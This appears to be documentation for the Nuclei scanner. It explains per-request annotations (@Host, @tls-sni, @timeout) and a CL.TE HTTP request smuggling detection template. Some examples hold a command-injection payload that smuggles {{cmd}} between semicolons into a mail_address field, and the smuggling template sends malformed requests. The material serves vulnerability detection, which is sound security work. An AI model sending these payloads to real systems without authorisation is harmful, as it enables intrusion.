​
Requests Annotation

Request inline annotations allow performing per request properties/behavior override. They are very similar to python/java class annotations and must be put on the request just before the RFC line. Currently, only the following overrides are supported:
  • @Host: which overrides the real target of the request (usually the host/ip provided as input). It supports syntax with ip/domain, port, and scheme, for example: domain.tld, domain.tld:port, http://domain.tld:port
  • @tls-sni: which overrides the SNI Name of the TLS request (usually the hostname provided as input). It supports any literals. The special value request.host uses the Host header and interactsh-url uses an interactsh generated URL.
  • @timeout: which overrides the timeout for the request to a custom duration. It supports durations formatted as string. If no duration is specified, the default Timeout flag value is used.
The following example shows the annotations within a request: 
- |
  @Host: https://projectdiscovery.io:443
  POST / HTTP/1.1
  Pragma: no-cache
  Host: {{Hostname}}
  Cache-Control: no-cache, no-transform
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
This is particularly useful, for example, in the case of templates with multiple requests, where one request after the initial one needs to be performed to a specific host (for example, to check an API validity): 
http:
  - raw:
      # this request will be sent to {{Hostname}} to get the token
      - |
        GET /getkey HTTP/1.1
        Host: {{Hostname}}
        
      # This request will be sent instead to https://api.target.com:443 to verify the token validity
      - |
        @Host: https://api.target.com:443
        GET /api/key={{token}} HTTP/1.1
        Host: api.target.com:443

    extractors:
      - type: regex
        name: token
        part: body
        regex:
          # random extractor of strings between prefix and suffix
          - 'prefix(.*)suffix'

    matchers:
      - type: word
        part: body
        words:
          - valid token
Example of a custom timeout annotations - 
- |
  @timeout: 25s
  POST /conf_mail.php HTTP/1.1
  Host: {{Hostname}}
  Content-Type: application/x-www-form-urlencoded
  
  mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M
Example of sni annotation with interactsh-url - 
- |
  @tls-sni: interactsh-url
  POST /conf_mail.php HTTP/1.1
  Host: {{Hostname}}
  Content-Type: application/x-www-form-urlencoded
  
  mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M

​
Smuggling

HTTP Smuggling is a class of Web-Attacks recently made popular by Portswigger’s Research into the topic. For an in-depth overview, please visit the article linked above. In the open source space, detecting http smuggling is difficult particularly due to the requests for detection being malformed by nature. Nuclei is able to reliably detect HTTP Smuggling vulnerabilities utilising the rawhttp engine. The most basic example of an HTTP Smuggling vulnerability is CL.TE Smuggling. An example template to detect a CE.TL HTTP Smuggling vulnerability is provided below using the unsafe: true attribute for rawhttp based requests. 
id: CL-TE-http-smuggling

info:
  name: HTTP request smuggling, basic CL.TE vulnerability
  author: pdteam
  severity: info
  reference: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

http:
  - raw:
    - |+
      POST / HTTP/1.1
      Host: {{Hostname}}
      Connection: keep-alive
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 6
      Transfer-Encoding: chunked
      
      0
      
      G      
    - |+
      POST / HTTP/1.1
      Host: {{Hostname}}
      Connection: keep-alive
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 6
      Transfer-Encoding: chunked
      
      0
      
      G
            
    unsafe: true
    matchers:
      - type: word
        words:
          - 'Unrecognized method GPOST'
More complete examples are provided here